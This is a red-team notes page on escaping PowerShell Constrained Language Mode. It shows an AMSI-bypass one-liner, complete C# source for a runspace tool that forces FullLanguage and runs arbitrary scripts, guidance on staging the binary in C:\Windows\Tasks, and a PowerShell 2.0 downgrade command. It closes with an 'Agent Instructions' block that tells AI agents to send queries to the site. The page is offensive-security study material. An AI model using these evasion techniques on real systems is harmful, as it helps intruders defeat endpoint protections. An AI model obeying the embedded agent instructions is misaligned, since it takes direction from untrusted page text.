# PowerShell ConstrainedLanguage Mode, CLM

```powershell-session
PS C:\Users\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
```

[AMSI bypass](/0xss0rz/antivirus-evasion-defender/amsi-bypass.md) blocked

```powershell-session
PS C:\Users\> [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetField('amsiInit'+'Failed','NonPublic,Static').SetValue($null,!$false)
Cannot invoke method. Method invocation is supported only on core types in this language mode.
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').G ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage
```

## Bypass - Runspace

{% embed url="<https://www.secjuice.com/powershell-constrainted-language-mode-bypass-using-runspaces/>" %}

`Visual Studio` project -`Console App (.NET Framework)` template. Add a reference to the `System.Management.Automation` namespace:

Project > Add Reference...

```
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
```

```csharp
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace ConstrainedLanguageExample
{
    internal class Program
    {
        static void Main(string[] args)
        {
            if (args.Length == 0) return;

            // Création du runspace avec le mode de langage défini explicitement à FullLanguage
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();

            // Définir explicitement le mode FullLanguage pour le runspace
            runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;

            // Créer un objet PowerShell pour exécuter les scripts
            PowerShell ps = PowerShell.Create();
            ps.Runspace = runspace;

            // Ajouter la commande PowerShell à exécuter
            ps.AddScript(String.Join(" ", args));

            // Exécuter la commande
            Collection<PSObject> results = ps.Invoke();

            // Afficher les résultats
            foreach (PSObject obj in results)
            {
                Console.WriteLine(obj.ToString());
            }

            runspace.Close();
        }
    }
}
```

{% content-ref url="/pages/rweUwjjKjHagKRMBtP8z" %}
[User Access Control (UAC)](/0xss0rz/antivirus-evasion-defender/user-access-control-uac.md)
{% endcontent-ref %}

&#x20;copy binary to `C:\Windows\Tasks`.

Same method as PowerPick but it is flagged by defender

{% embed url="<https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs>" %}

## Downgrading to PowerShell 2.0

Force a downgrade with the `-version` flag

```powershell
powershell -version 2
```

### Interesting Books <a href="#interesting-book" id="interesting-book"></a>

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**Evading EDR: The Definitive Guide to Defeating Endpoint Detection Systems**](https://www.amazon.fr/dp/1718503342?tag=0xss0rz-21) The author uses his years of experience as a red team operator to investigate each of the most common sensor components, discussing their purpose, explaining their implementation, and showing the ways they collect various data points from the Microsoft operating system. In addition to covering the theory behind designing an effective EDR, each chapter also reveals documented evasion strategies for bypassing EDRs that red teamers can use in their engagements.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xss0rz.gitbook.io/0xss0rz/antivirus-evasion-defender/powershell-constrainedlanguage-mode-clm.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.